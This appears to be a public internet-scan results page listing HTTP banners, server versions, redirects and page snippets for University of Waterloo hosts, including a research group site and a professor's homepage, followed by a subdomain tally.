data-target="#navbar" aria-expanded="false" aria-controls="navbar" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div id="navbar" class="collapse navbar-collapse"> <ul class="navbar-nav mr-auto"> <li class="nav-item dropdown"> <a href="events.shtml" id="navbarDropdownEvents" class="nav-link dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false"> Events <span class="caret"></span> </a> <div class="dropdown-menu" aria-labelledby="navbarDropdownEvents"> <a class="dropdown-item" href="events.shtml#meetings"> Seminars </a> <!-- <a class="dropdown-item" href="events.shtml#palaver"> Lunch Palaver </a> --> <a class="dropdown-item" href="events.shtml#calendar"> Calendar </a> </div> </li> <li class="nav-item dropdown"> <a href="#" id="navbarDropdownMore" class="nav-link dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false"> More <span class="caret"></span> </a> <div class="dropdown-menu" aria-labelledby="navbarDropdownMore"> <a class="dropdown-item" href="/new-students.shtml"> New Students </a> <a class="dropdown-item" href="https://lists.uwaterloo.ca/mailman/listinfo/proglang-research"> Mailing List </a> <a class="dropdown-item" href="/courses.shtml"> Courses </a> <a class="dropdown-item" href="/projects.shtml"> Projects </a> </div> </li> </ul> <ul class="nav navbar-nav navbar-right"> <li class="nav-item"> <a class="nav-link" href="/people"> People </a> </li> <li > <a class="nav-link" href="/contacts"> Contacts </a> </li> </ul> </div> </div> </nav> <!-- Local Variables: --> <!-- tab-width: 4 --> <!-- End: --> <div class="container content"> <div class="header clearfix"> </div> <div class="jumbotron head jumboLocal"> <h1 id="plgheading">Programming Languages Group</h1> <br> <p> <a href="https://cs.uwaterloo.ca"> Computer Science </a> and <a href="https://uwaterloo.ca/electrical-computer-engineering"> Electrical & Computer Engineering </a> <br> <a href="https://uwaterloo.ca"> University of Waterloo </a> </p> <!-- --> </div> <p style="text-align: justify"> Every aspect of computer science depends on programming languages to transform human ideas into a practical, functioning form executable by a computer. <!-- In fact, <i>programming</i> differentiates computer science from all other disciplines. --> There are many different programming languages, each addressing a well-defined purp
Open service 129.97.186.80:80 · plg.uwaterloo.ca
2026-01-08 21:49
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 21:50:29 GMT Server: Apache/2.4.58 (Ubuntu) Location: https://plg.uwaterloo.ca/ Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://plg.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at plg.uwaterloo.ca Port 80</address> </body></html>
Open service 129.97.186.80:443 · cormack.uwaterloo.ca
2026-01-08 21:49
HTTP/1.1 200 OK Date: Thu, 08 Jan 2026 21:49:50 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Sat, 26 Apr 2025 16:56:30 GMT ETag: "b1a-633b155160b80" Accept-Ranges: bytes Content-Length: 2842 Vary: Accept-Encoding Connection: close Content-Type: text/html Page title: G. V. Cormack (gvcormack@uwaterloo.ca) <TITLE>G. V. Cormack (gvcormack@uwaterloo.ca)</TITLE> <a href="http://plg.uwaterloo.ca/~gvcormac/gvc1.jpg"><img style="width:58.5%;" src="http://plg.uwaterloo.ca/~gvcormac/Professor_Emeritus_Gordon_Cormack.jpg" align=right alt="[my photo]"></a> <!-- <a href=https://zezvaz.com/cartoons/><img style="width:39%" src=https://zezvaz.com/wp-content/uploads/cybertruckman_zezvaz.webp"></a> --> <H1> Gordon V. Cormack </H1> <h3> <A href=http://plg.uwaterloo.ca/~gvcormac/cv.html>Professor Emeritus</a> <br> <A href = "http://www.cs.uwaterloo.ca/"> David R. Cheriton School of Computer Science</A> <br> <A href = "http://www.uwaterloo.ca"> University of Waterloo</A> </h3> <em> 2502 Davis Centre <br> University of Waterloo <br> Waterloo, Ontario N2L 3G1 <br> Canada <p> tel: (519) 888 4567 (34450) <br> fax: (519) 885 1208 <p> <a href=mailto:gvcormack@uwaterloo.ca>gvcormack@uwaterloo.ca</a> </em> <p> <a href=dvcormack.pdf>In memoriam: Douglas Villy Cormack 1926 - 2024</a> <p> <b>My comments on Covid-19 misinformation spread by a handful of my colleagues: </b><a href=covidargument.pdf>covidargument.pdf</a>. See also <a href=https://arxiv.org/abs/2202.04204>The absurdity of death estimates from the Vaccine Adverse Event Reporting System (VAERS)</a> <p> My current research involves high-stakes information retrieval, in which demonstrating the reliability and thoroughness of retrieval methods is of primary importance. A specific instance of high-stakes information retrieval is <a href=jolt>technology-assisted review (TAR)</a> for electronic discovery in <a href=http://cormack.uwaterloo.ca/CITES.html>legal matters</a>. My past research has involved programming languages, compilers, data structures, concurrency, and distributed computing. Here is a <A href = "http://plg.uwaterloo.ca/~gvcormac/PAPERSx.html">list of my publications</A>. <p> I'm a member of the program committee for the <a href=http://trec.nist.gov/>Text Retrieval Conference (TREC)</a>, coordinator of the <a href=http://trec-total-recall.org>TREC Total Recall Track</a>, past coordinator of the TREC <a href=http://trec-legal.umiacs.umd.edu/>Legal Track</a> and <a href=http://trec.nist.gov/data/spam.html>Spam Track</a>. <p> For twelve years I was coach of Waterloo's ACM International Collegiate Programming Contest team, qualifying for the World Finals every year, winning one <a href=https://icpc.baylor.edu/community/history-icpc-1999>World Championship</a>, and two <a href=https://icpc.baylor.edu/community/results-1998>North</a> <a href=https://icpc.baylor.edu/community/results-2000>American</a> Championships. For six years I served as a member of the International Scientific Committee of The International Olympiad for Informatics, and served as Scientific Director when Canada hosted <a href=http://www.ioi2010.org/>IOI '2010</a> in Waterloo. <p>
Open service 129.97.186.80:80 · cormack.uwaterloo.ca
2026-01-08 21:49
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 21:50:29 GMT Server: Apache/2.4.58 (Ubuntu) Location: https://cormack.uwaterloo.ca/ Content-Length: 323 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://cormack.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at cormack.uwaterloo.ca Port 80</address> </body></html>
Open service 129.97.7.167:443 · deliberarts.pandora.cs.uwaterloo.ca
2026-01-08 21:34
HTTP/1.1 200 OK
Alt-Svc: h3=":443"; ma=2592000
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Type: text/html; charset=utf-8
Date: Thu, 08 Jan 2026 21:35:20 GMT
Link: </_next/static/media/4cf2300e9c8272f7-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2"
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
X-Powered-By: Next.js
Connection: close
Transfer-Encoding: chunked
Page title: Next.js and Supabase Starter Kit
<!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/1ef253af618301fc.css" data-precedence="next"/><link rel="stylesheet" href="/_next/static/css/463a61d9ad95bb58.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-5d05866e11118bde.js"/><script src="/_next/static/chunks/4bd1b696-c023c6e3521b1417.js" async=""></script><script src="/_next/static/chunks/255-1a334e32aac762cd.js" async=""></script><script src="/_next/static/chunks/main-app-2ecc3bf42ae2d122.js" async=""></script><script src="/_next/static/chunks/app/layout-61749e99c51e1518.js" async=""></script><script src="/_next/static/chunks/559-b87c0214964217b5.js" async=""></script><script src="/_next/static/chunks/756-6c4383bb0542c357.js" async=""></script><script src="/_next/static/chunks/619-ba102abea3e3d0e4.js" async=""></script><script src="/_next/static/chunks/586-a5e95c44f83d18be.js" async=""></script><script src="/_next/static/chunks/768-7902aa24bce0bd1f.js" async=""></script><script src="/_next/static/chunks/app/page-dcfdeb8c0e8a6d7c.js" async=""></script><meta name="next-size-adjust" content=""/><title>Next.js and Supabase Starter Kit</title><meta name="description" content="The fastest way to build apps with Next.js and Supabase"/><meta property="og:title" content="Next.js and Supabase Starter Kit"/><meta property="og:description" content="The fastest way to build apps with Next.js and Supabase"/><meta property="og:image:type" content="image/png"/><meta property="og:image:width" content="1200"/><meta property="og:image:height" content="600"/><meta property="og:image" content="http://localhost:3000/opengraph-image.png?2e0bc232e210f89d"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:title" content="Next.js and Supabase Starter Kit"/><meta name="twitter:description" content="The fastest way to build apps with Next.js and Supabase"/><meta name="twitter:image:type" content="image/png"/><meta name="twitter:image:width" content="1200"/><meta name="twitter:image:height" content="600"/><meta name="twitter:image" content="http://localhost:3000/twitter-image.png?2e0bc232e210f89d"/><link rel="icon" href="/favicon.ico" type="image/x-icon" sizes="16x16"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script></head><body class="__className_188709 antialiased"><div hidden=""><!--$--><!--/$--></div><script>((a,b,c,d,e,f,g,h)=>{let i=document.documentElement,j=["light","dark"];function k(b){var c;(Array.isArray(a)?a:[a]).forEach(a=>{let c="class"===a,d=c&&f?e.map(a=>f[a]||a):e;c?(i.classList.remove(...d),i.classList.add(f&&f[b]?f[b]:b)):i.setAttribute(a,b)}),c=b,h&&j.includes(c)&&(i.style.colorScheme=c)}if(d)k(d);else try{let a=localStorage.getItem(b)||c,d=g&&"system"===a?window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light":a;k(d)}catch(a){}})("class","theme","system",null,["light","dark"],null,true,true)</script><main class="min-h-screen flex flex-col items-center"><div class="flex-1 w-full flex flex-col"><nav class="w-full flex border-b border-b-foreground/10 h-16 sticky"><div class="w-full flex justify-between items-center p-8 px-16 text-sm"><div class="flex gap-5 items-center font-semibold"><a href="/">deliberarts (wip)</a></div><div class="flex gap-5 items-center"><div class="flex gap-2"><a class="inline-flex items-center justify-center gap-2 whitespace-nowrap font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0 border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground h-8 rounded-md px-3 text-xs" href="/auth/login">Sign in</a><a class="inline-flex items-center justify-center gap-2 whitespace-nowrap font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:poi
Open service 129.97.7.167:443 · ickok4o0go40kcowsocsow0c.pandora.cs.uwaterloo.ca
2026-01-08 21:16
HTTP/1.1 503 Service Unavailable Alt-Svc: h3=":443"; ma=2592000 Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Thu, 08 Jan 2026 21:17:58 GMT Content-Length: 20 Connection: close no available server
Open service 52.233.38.143:443 · api.data.uwaterloo.ca
2026-01-08 20:27
HTTP/1.1 404 Not Found Content-Length: 0 Connection: close Date: Thu, 08 Jan 2026 20:28:29 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=b94576c2d163020e8817f221b76de4b33a22a5901de8abf953ffba7f6962ecc3;Path=/;HttpOnly;Secure;Domain=api.data.uwaterloo.ca Set-Cookie: ARRAffinitySameSite=b94576c2d163020e8817f221b76de4b33a22a5901de8abf953ffba7f6962ecc3;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.data.uwaterloo.ca Strict-Transport-Security: max-age=2592000 X-Powered-By: ASP.NET
Open service 129.97.7.167:443 · stirling-pdf.pandora.cs.uwaterloo.ca
2026-01-08 20:08
HTTP/1.1 503 Service Unavailable Alt-Svc: h3=":443"; ma=2592000 Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Thu, 08 Jan 2026 20:09:56 GMT Content-Length: 20 Connection: close no available server
Open service 129.97.128.216:80 · www.graphics.uwaterloo.ca
2026-01-08 15:38
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 15:39:39 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Location: https://www.graphics.uwaterloo.ca/ Content-Length: 242 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://www.graphics.uwaterloo.ca/">here</a>.</p> </body></html>
Open service 129.97.128.216:443 · www.graphics.uwaterloo.ca
2026-01-08 15:38
HTTP/1.1 302 Found Date: Thu, 08 Jan 2026 15:39:02 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Strict-Transport-Security: max-age=31536000 Location: https://uwaterloo.ca/creative-services/ Content-Length: 223 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 302 Found <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://uwaterloo.ca/creative-services/">here</a>.</p> </body></html>
Open service 129.97.128.216:80 · ibmb.uwaterloo.ca
2026-01-08 15:37
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 15:38:30 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Location: https://ibmb.uwaterloo.ca/ Content-Length: 234 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://ibmb.uwaterloo.ca/">here</a>.</p> </body></html>
Open service 129.97.128.216:443 · ibmb.uwaterloo.ca
2026-01-08 15:37
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 15:37:53 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Strict-Transport-Security: max-age=31536000 Location: https://uwaterloo.ca/biochemistry-molecular-biology-institute/ Content-Length: 270 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/biochemistry-molecular-biology-institute/">here</a>.</p> </body></html>
Open service 129.97.128.216:80 · www.ibmb.uwaterloo.ca
2026-01-08 15:37
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 15:38:29 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Location: https://www.ibmb.uwaterloo.ca/ Content-Length: 238 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://www.ibmb.uwaterloo.ca/">here</a>.</p> </body></html>
Open service 129.97.128.216:443 · www.ibmb.uwaterloo.ca
2026-01-08 15:37
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 15:37:51 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Strict-Transport-Security: max-age=31536000 Location: https://uwaterloo.ca/biochemistry-molecular-biology-institute/ Content-Length: 270 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/biochemistry-molecular-biology-institute/">here</a>.</p> </body></html>
Open service 129.97.128.216:80 · ic3.uwaterloo.ca
2026-01-08 15:37
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 15:37:50 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Location: https://ic3.uwaterloo.ca/ Content-Length: 233 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://ic3.uwaterloo.ca/">here</a>.</p> </body></html>
Open service 129.97.128.216:443 · www.ic3.uwaterloo.ca
2026-01-08 15:37
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 15:37:11 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Strict-Transport-Security: max-age=31536000 Location: https://uwaterloo.ca/climate-centre/ Content-Length: 244 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/climate-centre/">here</a>.</p> </body></html>
Open service 129.97.128.216:443 · ic3.uwaterloo.ca
2026-01-08 15:37
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 15:37:11 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Strict-Transport-Security: max-age=31536000 Location: https://uwaterloo.ca/climate-centre/ Content-Length: 244 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/climate-centre/">here</a>.</p> </body></html>
Open service 129.97.128.216:80 · www.ic3.uwaterloo.ca
2026-01-08 15:37
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 15:37:49 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Location: https://www.ic3.uwaterloo.ca/ Content-Length: 237 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://www.ic3.uwaterloo.ca/">here</a>.</p> </body></html>
Open service 129.97.128.216:80 · helpdesk.uwaterloo.ca
2026-01-08 15:36
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 15:36:56 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Location: https://helpdesk.uwaterloo.ca/ Content-Length: 238 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://helpdesk.uwaterloo.ca/">here</a>.</p> </body></html>
Open service 129.97.128.216:443 · helpdesk.uwaterloo.ca
2026-01-08 15:36
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 15:36:17 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Strict-Transport-Security: max-age=31536000 Location: https://uwaterloo.atlassian.net/servicedesk/customer/portal/2 Content-Length: 269 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.atlassian.net/servicedesk/customer/portal/2">here</a>.</p> </body></html>
Open service 129.97.128.216:80 · housing.uwaterloo.ca
2026-01-08 15:35
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 15:36:33 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Location: https://housing.uwaterloo.ca/ Content-Length: 237 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://housing.uwaterloo.ca/">here</a>.</p> </body></html>
Open service 129.97.128.216:443 · housing.uwaterloo.ca
2026-01-08 15:35
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 15:35:55 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Strict-Transport-Security: max-age=31536000 Location: https://uwaterloo.ca/housing/ Content-Length: 237 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/housing/">here</a>.</p> </body></html>
Open service 129.97.128.216:80 · www.housing.uwaterloo.ca
2026-01-08 15:35
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 15:36:33 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Location: https://www.housing.uwaterloo.ca/ Content-Length: 241 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://www.housing.uwaterloo.ca/">here</a>.</p> </body></html>
Open service 129.97.128.216:443 · www.housing.uwaterloo.ca
2026-01-08 15:35
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 15:35:55 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Strict-Transport-Security: max-age=31536000 Location: https://uwaterloo.ca/housing/ Content-Length: 237 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/housing/">here</a>.</p> </body></html>
Open service 129.97.128.216:443 · healthservices.uwaterloo.ca
2026-01-08 15:34
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 15:34:44 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Strict-Transport-Security: max-age=31536000 Location: https://uwaterloo.ca/health-services/ Content-Length: 245 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/health-services/">here</a>.</p> </body></html>
Open service 129.97.128.216:80 · www.healthservices.uwaterloo.ca
2026-01-08 15:34
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 15:35:22 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Location: https://www.healthservices.uwaterloo.ca/ Content-Length: 248 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://www.healthservices.uwaterloo.ca/">here</a>.</p> </body></html>
Open service 129.97.128.216:80 · healthservices.uwaterloo.ca
2026-01-08 15:34
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 15:35:22 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Location: https://healthservices.uwaterloo.ca/ Content-Length: 244 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://healthservices.uwaterloo.ca/">here</a>.</p> </body></html>
Open service 129.97.128.216:443 · www.healthservices.uwaterloo.ca
2026-01-08 15:34
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 15:34:44 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Strict-Transport-Security: max-age=31536000 Location: https://uwaterloo.ca/health-services/ Content-Length: 245 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/health-services/">here</a>.</p> </body></html>
Open service 129.97.128.216:80 · hci.uwaterloo.ca
2026-01-08 15:34
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 15:34:51 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Location: https://hci.uwaterloo.ca/ Content-Length: 233 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://hci.uwaterloo.ca/">here</a>.</p> </body></html>
Open service 129.97.128.216:443 · hci.uwaterloo.ca
2026-01-08 15:34
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 15:34:13 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Strict-Transport-Security: max-age=31536000 Location: https://uwaterloo.ca/human-computer-interaction Content-Length: 255 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/human-computer-interaction">here</a>.</p> </body></html>
Open service 129.97.128.216:80 · health.uwaterloo.ca
2026-01-08 15:33
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 15:34:34 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Location: https://health.uwaterloo.ca/ Content-Length: 236 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://health.uwaterloo.ca/">here</a>.</p> </body></html>
Open service 129.97.128.216:443 · health.uwaterloo.ca
2026-01-08 15:33
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 15:33:56 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Strict-Transport-Security: max-age=31536000 Location: https://uwaterloo.ca/health Content-Length: 235 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/health">here</a>.</p> </body></html>
staging.uwaterloo.ca 22 www.ofis.uwaterloo.ca 23 ofis.uwaterloo.ca 23 margot.uwaterloo.ca 6 rt-stage.math.uwaterloo.ca 5 debate.uwaterloo.ca 4 chemsoc.uwaterloo.ca 5 rt.math.uwaterloo.ca 4 margotblog.uwaterloo.ca 5 dsg.uwaterloo.ca 6 brittlab.uwaterloo.ca 2 orientation.math.uwaterloo.ca 2 greenautopowertrain.uwaterloo.ca 3 riku.shoshin.uwaterloo.ca 2 weeef.uwaterloo.ca 2 osu.uwaterloo.ca 2 cemclinux2.math.uwaterloo.ca 2 cel-linux-prod-1-mmg.uwaterloo.ca 2 ist.uwaterloo.ca 6 latex2mobius.uwaterloo.ca 3 b2p.uwaterloo.ca 3 pluverse.cs.uwaterloo.ca 1 alert.uwaterloo.ca 1 plg.uwaterloo.ca 2 stirling-pdf.pandora.cs.uwaterloo.ca 1 wms-stg.uwaterloo.ca 1 rocketchat-new.cs.uwaterloo.ca 1 rocketchat-courses.cs.uwaterloo.ca 1 pilots.uwaterloo.ca 1 tqt.uwaterloo.ca 2 styx-reserve.shoshin.uwaterloo.ca 2 circuits.qsoft.iqc.uwaterloo.ca 1 www.mansci.uwaterloo.ca 1 openapi.data.uwaterloo.ca 2 api.data.uwaterloo.ca 1 mansci.uwaterloo.ca 1 grants.uwaterloo.ca 2 communitydesirelines.uwaterloo.ca 4 waterloo-ar.uwaterloo.ca 2 uwcsa.uwaterloo.ca 1 rocketchat.cs.uwaterloo.ca 2 mca.uwaterloo.ca 2 uwvr.uwaterloo.ca 1 mathreview.uwaterloo.ca 1 wms-profiles.uwaterloo.ca 1 canadianfoodstudies.uwaterloo.ca 1 lyncdiscover.uwaterloo.ca 2 scs-math-rocketchat.cs.uwaterloo.ca 2 grec.cs.uwaterloo.ca 3 ingress-auth.sci.uwaterloo.ca 1 www.mathnews.uwaterloo.ca 3 testcreator-test.uwaterloo.ca 1 cscircles.uwaterloo.ca 1 www.sci.uwaterloo.ca 1 artsresearch.uwaterloo.ca 1 